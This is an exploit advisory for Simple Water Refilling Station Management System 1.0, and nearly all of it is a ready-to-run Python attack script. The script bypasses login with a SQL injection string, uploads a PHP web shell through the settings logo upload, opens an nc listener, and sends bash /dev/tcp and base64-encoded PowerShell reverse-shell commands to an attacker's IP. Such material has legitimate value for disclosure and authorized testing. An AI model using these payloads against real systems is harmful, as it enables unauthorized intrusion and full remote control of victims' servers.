Simple Water Refilling Station Management System 1.0 Remote Code Execution (RCE) through File Upload

2021.08.20
Credit: Matt Sorrell
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload # Exploit Author: Matt Sorrell # Date: 2021-08-14 # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html # Version: 1.0 # Tested On: Windows Server 2019 and XAMPP 7.4.22 # The Simple Water Refilling Station Management System # contains a file upload vulnerability that allows for remote # code execution against the target. This exploit requires # the user to be authenticated, but a SQL injection in the login form # allows the authentication controls to be bypassed. The application does not perform # any validation checks against the uploaded file at "/classes/SystemSettings.php" # and the directory it is placed in allows for execution of PHP code. #!/usr/bin/env python3 import requests from bs4 import BeautifulSoup as bs import time import subprocess import base64 import sys def login_with_injection(url, session): target = url + "/classes/Login.php?f=login" data = { "username": "test' OR 1=1-- -", "password": "test" } r = session.post(target, data=data) if '"status":"success"' in r.text: return True else: return False def upload_shell(url, session): target = url + "/classes/SystemSettings.php?f=update_settings" files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')} r = session.post(target, files=files) if r.headers['Content-Length'] != 1: print("[+] Shell uploaded.\n") return r.links else: print("Error uploading file. Exiting.") exit(-1) def activate_shell(url, session, OS, rev_ip, rev_port): target = url + "/admin/?page=system_info" r = session.get(target) page_data = r.text soup = bs(page_data, features='lxml') for link in soup.find_all('link'): if "shell" in link.get('href'): shell_url = link.get('href') break print(f"[+] Found URL for shell: {shell_url}\n") print("[*] Attempting to start reverse shell...") subprocess.Popen(["nc","-nvlp",f"{rev_port}"]) time.sleep(1) if OS.lower() == "linux": cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'" else: cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip() cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode() r = session.get(shell_url+"?cmd="+cmd) def main(): if len(sys.argv) != 5: print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>") print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows") exit(-1) else: ip = sys.argv[1] rev_ip = sys.argv[2] rev_port = sys.argv[3] OS = sys.argv[4] URL = f"http://{ip}/water_refilling" s = requests.Session() print("[*] Trying to bypass authentication through SQL injection...\n") if not login_with_injection(URL, s): print("[-] Failed to login. Exiting.") exit(-1) else: print("[+] Successfully logged in.\n") time.sleep(2) print("[*] Trying to upload shell through system logo functionality...\n") links = upload_shell(URL, s) # Sleeping for 2 seconds to avoid problems finding the file uploaded time.sleep(2) print("[*] Getting shell URL and sending reverse shell command...\n") activate_shell(URL, s, OS, rev_ip, rev_port) while True: pass if __name__ == "__main__": main()


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